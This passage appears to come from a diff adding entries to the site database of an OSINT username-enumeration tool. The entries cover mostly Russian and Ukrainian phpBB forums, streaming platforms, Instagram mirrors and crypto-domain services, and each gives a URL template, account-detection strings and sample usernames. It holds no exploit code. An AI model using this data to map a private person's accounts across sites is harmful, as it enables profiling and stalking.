"https://www.gardrops.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 114405, + "tags": [ + "shopping", + "tr" + ] + }, + "27r.ru": { + "urlMain": "https://27r.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 291847 + }, + "diorama.ru": { + "urlMain": "https://diorama.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 876209 + }, + "chelfishing.ru": { + "urlMain": "http://www.chelfishing.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "coffeeforum.ru": { + "urlMain": "http://coffeeforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 6816330 + }, + "car72.ru": { + "urlMain": "https://www.car72.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 180112 + }, + "caravanliga.ru": { + "urlMain": "http://caravanliga.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5134546, + "disabled": true + }, + "fkclub.ru": { + "urlMain": "https://fkclub.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1217359 + }, + "e36club.com.ua": { + "urlMain": "http://e36club.com.ua/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 6481717 + }, + "audi-belarus.by": { + "urlMain": "https://audi-belarus.by/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 955306 + }, + "cedia-club.ru": { + "urlMain": "https://cedia-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 3575772 + }, + "308-club.ru": { + "urlMain": "https://www.308-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1174213 + }, + "as8.ru": { + "urlMain": "http://as8.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1657866 + }, + "chevrolet-daewoo.ru": { + "urlMain": "http://chevrolet-daewoo.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2212329 + }, + "forum.c-o-k.com.ua": { + "urlMain": "https://forum.c-o-k.com.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 8982091 + }, + "forum.blackmagicdesign.com": { + "urlMain": "https://forum.blackmagicdesign.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 4572 + }, + "forum-dollplanet.ru": { + "urlMain": "http://forum-dollplanet.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1155897 + }, + "bashohota.ru": { + "urlMain": "http://www.bashohota.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5597207 + }, + "dfpd-forum.siemens.ru": { + "urlMain": "https://dfpd-forum.siemens.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1936926, + "disabled": true + }, + "doublecmd.h1n.ru": { + "urlMain": "https://doublecmd.h1n.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 180551 + }, + "fforum.ru": { + "urlMain": "http://www.fforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5399949 + }, + "ghisler.ch": { + "urlMain": "https://ghisler.ch/board", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 188223 + }, + "forum.finance.ua": { + "urlMain": "https://forum.finance.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 57250 + }, + "figarohair.ru": { + "urlMain": "http://www.figarohair.ru/conf", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 3389425 + }, + "hairforum.ru": { + "urlMain": "https://hairforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "hcv.ru": { + "urlMain": "http://www.hcv.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2482497 + }, + "forum.injectorservice.com.ua": { + "urlMain": "https://forum.injectorservice.com.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 826126 + }, + "hunting.karelia.ru": { + "urlMain": "http://hunting.karelia.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 20040 + }, + "forum.audacityteam.org": { + "urlMain": "https://forum.audacityteam.org", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 7424 + }, + "memoriam.ru": { + "urlMain": "https://memoriam.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 820052 + }, + "megapolis.org": { + "urlMain": "http://www.megapolis.org/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3405817 + }, + "forums.linuxmint.com": { + "urlMain": "https://forums.linuxmint.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 9207 + }, + "moto-arena.ru": { + "urlMain": "https://moto-arena.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2421270 + }, + "forum.mxlinux.org": { + "urlMain": "https://forum.mxlinux.org", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 124468 + }, + "forum.pskovchess.ru": { + "urlMain": "http://forum.pskovchess.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "forum.openoffice.org": { + "urlMain": "https://forum.openoffice.org/en/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 15359 + }, + "forum.rosalinux.ru": { + "urlMain": "https://forum.rosalinux.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 702811 + }, + "forum.pressball.by": { + "urlMain": "https://forum.pressball.by", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 63233, + "disabled": true + }, + "rt20.getbb.ru": { + "urlMain": "http://www.rt20.getbb.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 133412 + }, + "siava.ru": { + "urlMain": "https://siava.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1892135 + }, + "forum.ua-vet.com": { + "urlMain": "http://forum.ua-vet.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3355047 + }, + "forum.virtualsoccer.ru": { + "urlMain": "https://forum.virtualsoccer.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 467162 + }, + "tuning.lviv.ua": { + "urlMain": "http://tuning.lviv.ua/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 8021246 + }, + "forum.tathunter.ru": { + "urlMain": "http://forum.tathunter.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 4276869 + }, + "forum.volnistye.ru": { + "urlMain": "https://forum.volnistye.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1114259 + }, + "forum.web.ru": { + "urlMain": "https://forum.web.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 460111 + }, + "frauflora.com": { + "urlMain": "http://frauflora.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 2048362 + }, + "guitar.by": { + "urlMain": "https://www.guitar.by/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 720038 + }, + "kidshockey.ru": { + "urlMain": "https://kidshockey.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 438115 + }, + "jeepspb.ru": { + "urlMain": "http://jeepspb.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "khabmama.ru": { + "urlMain": "https://khabmama.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1528197 + }, + "lifeintravel.ru": { + "urlMain": "https://lifeintravel.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "disabled": true + }, + "forums.mageia.org": { + "urlMain": "https://forums.mageia.org/en", + "engine": "phpBB/Search", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 423825 + }, + "make-ups.ru": { + "urlMain": "http://make-ups.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "mama.tomsk.ru": { + "urlMain": "https://mama.tomsk.ru/forums", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 15559 + }, + "mitsubishi-asx.net": { + "urlMain": "https://www.mitsubishi-asx.net/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1622080 + }, + "moto26.ru": { + "urlMain": "http://moto26.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 9730748 + }, + "pajero4x4.ru": { + "urlMain": "http://www.pajero4x4.ru/bbs/phpBB2", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 412080 + }, + "phpbbguru.net": { + "urlMain": "https://www.phpbbguru.net/community", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 506137 + }, + "motoforum.ru": { + "urlMain": "https://www.motoforum.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1396312 + }, + "myce.wiki": { + "checkType": "message", + "presenseStrs": [ + "<span class=\"td-author-post-count\">", + "<span class=\"td-author-comments-count\">" + ], + "usernameClaimed": "vroom", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://myce.wiki", + "url": "https://myce.wiki/author/{username}" + }, + "lviv4x4.club": { + "urlMain": "http://lviv4x4.club/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5561346 + }, + "politsrach.ru": { + "urlMain": "https://politsrach.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 6900738 + }, + "popgun.ru": { + "urlMain": "https://popgun.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 155325, + "disabled": true + }, + "rest.feo.ru": { + "urlMain": "https://rest.feo.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "sanatatur.ru": { + "urlMain": "http://sanatatur.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 246142 + }, + "rt21.getbb.ru": { + "urlMain": "http://www.rt21.getbb.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 133412 + }, + "pobedish.ru": { + "urlMain": "https://pobedish.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1002551 + }, + "sorento.kia-club.ru": { + "urlMain": "http://sorento.kia-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 435313 + }, + "shipmodeling.ru": { + "urlMain": "https://www.shipmodeling.ru/phpbb", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 441056 + }, + "trworkshop.net": { + "urlMain": "http://www.trworkshop.net/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 517619 + }, + "spb-projects.ru": { + "urlMain": "http://spb-projects.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5138594 + }, + "ttsport.ru": { + "urlMain": "https://www.ttsport.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 812848 + }, + "spartak.msk.ru": { + "urlMain": "http://spartak.msk.ru/guest", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1281707 + }, + "uazpatriot.ru": { + "urlMain": "https://uazpatriot.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 807713 + }, + "volga-gaz.nnov.ru": { + "urlMain": "http://volga-gaz.nnov.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 37898 + }, + "yiiframework.ru": { + "urlMain": "https://yiiframework.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 240757 + }, + "sasgis.org": { + "urlMain": "http://www.sasgis.org/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 424362 + }, + "unixforum.org": { + "urlMain": "https://unixforum.org", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 287590 + }, + "mnogodetok.ru": { + "urlMain": "https://mnogodetok.ru", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1331927 + }, + "vcfm.ru": { + "urlMain": "https://vcfm.ru/forum", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1635578 + }, + "gaz-24.com": { + "urlMain": "http://gaz-24.com/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ], + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1132552 + }, + "mikrob.ru": { + "urlMain": "https://mikrob.ru", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 134780 + }, + "promalp.ru": { + "urlMain": "http://promalp.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ], + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3482358 + }, + "goodgame.ru": { + "absenceStrs": [ + "not-found-wrap", + "images/404.gif" + ], + "presenseStrs": [ + "name", + "streamer_name", + "user", + " role=", + "streamer" + ], + "url": "https://goodgame.ru/channel/{username}", + "urlMain": "https://goodgame.ru", + "usernameClaimed": "Nikichar", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 55420, + "tags": [ + "ru", + "streaming" + ] + }, + "breakers.tv": { + "absenceStrs": [ + "Channel you are looking for doesn't exist", + "Stream Not Found - Breakers.TV" + ], + "presenseStrs": [ + "</span> followers", + "{username}</span>", + "{username} on Breakers.TV" + ], + "url": "https://breakers.tv/{username}", + "urlMain": "https://breakers.tv", + "usernameClaimed": "friendlyboxbreaks", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 987478, + "tags": [ + "streaming", + "us" + ] + }, + "AfreecaTV": { + "absenceStrs": [ + "Blog does not exist." + ], + "presenseStrs": [ + "profile_text", + "profile_image", + "name", + "station_name", + "user_nick" + ], + "url": "http://bjapi.afreecatv.com/api/{username}/station", + "urlMain": "http://bjapi.afreecatv.com", + "usernameClaimed": "showsaovivo", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 905, + "tags": [ + "streaming" + ] + }, + "Picarto": { + "absenceStrs": [ + "We are the world\\u2019s leading live streaming platform for creative minds. Come join us" + ], + "presenseStrs": [ + "\"success\":true" + ], + "url": "https://ptvintern.picarto.tv/metadescription/{username}", + "urlMain": "https://ptvintern.picarto.tv", + "usernameClaimed": "tamarinfrog", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 15844, + "tags": [ + "art", + "streaming" + ] + }, + "stripchat.global": { + "disabled": true, + "presenseStrs": [ + "profile email", + "setVersionName", + ",SITE_NAME=", + "input[name=", + "project" + ], + "absenceStrs": [ + "<div class=\"text-wrapper\">404</div>" + ], + "url": "https://stripchat.global/{username}", + "urlMain": "https://stripchat.global", + "usernameClaimed": "lunagirl13", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 117062, + "tags": [ + "webcam" + ] + }, + "Harvard Scholar": { + "checkType": "status_code", + "url": "https://scholar.harvard.edu/{username}", + "urlMain": "https://scholar.harvard.edu/", + "usernameClaimed": "ousmanekane", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Scholar": { + "checkType": "status_code", + "url": "https://scholar.google.com/scholar?hl=en&as_sdt=0%2C5&q={username}&btnG=", + "urlMain": "https://scholar.google.com/", + "usernameClaimed": "Blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HuggingFace": { + "checkType": "status_code", + "url": "https://huggingface.co/{username}", + "urlMain": "https://huggingface.co/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dlive.tv": { + "absenceStrs": [ + "Channel not found" + ], + "presenseStrs": [ + "username", + "profile-part", + "profile-about" + ], + "url": "https://dlive.tv/{username}", + "urlMain": "https://dlive.tv", + "usernameClaimed": "TomTourettes", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 17235, + "tags": [ + "streaming" + ] + }, + "ManifoldMarkets": { + "checkType": "message", + "absenceStrs": [ + "404: Oops!", + "Less than 1% chance anything exists at this url." + ], + "presenseStrs": [ + ">Comments</div>", + ">Balance log</div>", + ">Payments</div>", + "@<!-- -->{username}<!-- --> </span>" + ], + "url": "https://manifold.markets/{username}", + "urlMain": "https://manifold.markets/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "instaprofi.ru": { + "absenceStrs": [ + "/static/img/pages/profile/nobody.jpg" + ], + "presenseStrs": [ + "profile__nextProfile flex-ajc" + ], + "url": "https://instaprofi.ru/profile/{username}", + "urlMain": "https://instaprofi.ru", + "usernameClaimed": "morgen_shtern", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "source": "Instagram", + "alexaRank": 252838, + "tags": [ + "photo" + ] + }, + "Pixwox": { + "absenceStrs": [ + "Page not found</div>" + ], + "presenseStrs": [ + "username", + "profile", + " data-name=", + "fullname", + "alternate" + ], + "url": "https://www.pixwox.com/profile/{username}/", + "urlMain": "https://www.pixwox.com", + "usernameClaimed": "mami_ishioka", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 12080, + "source": "Instagram", + "tags": [ + "photo" + ] + }, + "ImgInn": { + "absenceStrs": [ + "Page Not Found", + "The content has been deleted" + ], + "presenseStrs": [ + "followers", + "{username}" + ], + "url": "https://imginn.com/{username}/", + "urlMain": "https://imginn.com", + "usernameClaimed": "morgen_shtern", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 4271, + "source": "Instagram", + "tags": [ + "photo" + ] + }, + "lyricsTraining": { + "tags": [ + "music" + ], + "checkType": "message", + "presenseStrs": [ + "Lyrics by" + ], + "absenceStrs": [ + "Sorry, there are no results for your search." + ], + "url": "https://lyricstraining.com/search?user={username}", + "usernameClaimed": "Purrito", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "expoForum": { + "tags": [ + "coding", + "forum" + ], + "checkType": "status_code", + "url": "https://forums.expo.dev/u/{username}", + "usernameClaimed": "wodin", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "rawg.io": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "url": "https://rawg.io/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "SchemeColor": { + "tags": [ + "art", + "design" + ], + "checkType": "status_code", + "url": "https://www.schemecolor.com/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "aetherhub": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "url": "https://aetherhub.com/User/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "bugbounty": { + "disabled": true, + "tags": [ + "hacking" + ], + "checkType": "status_code", + "url": "https://bugbounty.gg/members/{username}", + "usernameClaimed": "marco", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "universocraft": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "\u00daltima conexi\u00f3n" + ], + "absenceStrs": [ + "No se ha encontrado ning\u00fan usuario con ese nombre" + ], + "url": "https://stats.universocraft.com/stats.php?player={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "fragment.com": { + "absenceStrs": [ + "data-username=", + "data-item-title=" + ], + "presenseStrs": [ + "tm-datetime", + "tm-wallet" + ], + "url": "https://fragment.com/username/{username}", + "urlMain": "https://fragment.com", + "usernameClaimed": "yazheg", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "UnstoppableDomains": { + "presenseStrs": [ + "reservedForUserId", + "\"registered\"", + "DomainProduct" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0", + "Accept": "*/*", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://unstoppabledomains.com/", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "TE": "trailers" + }, + "urlProbe": "https://unstoppabledomains.com/api/domain/search?q={username}", + "url": "https://ud.me/{username}", + "urlMain": "https://ud.me", + "usernameClaimed": "mlfed", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "edns.domains/meta": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.meta", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/music": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.music", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/ass": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.ass", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/404": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.404", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/sandbox": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.sandbox", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/web3": { + 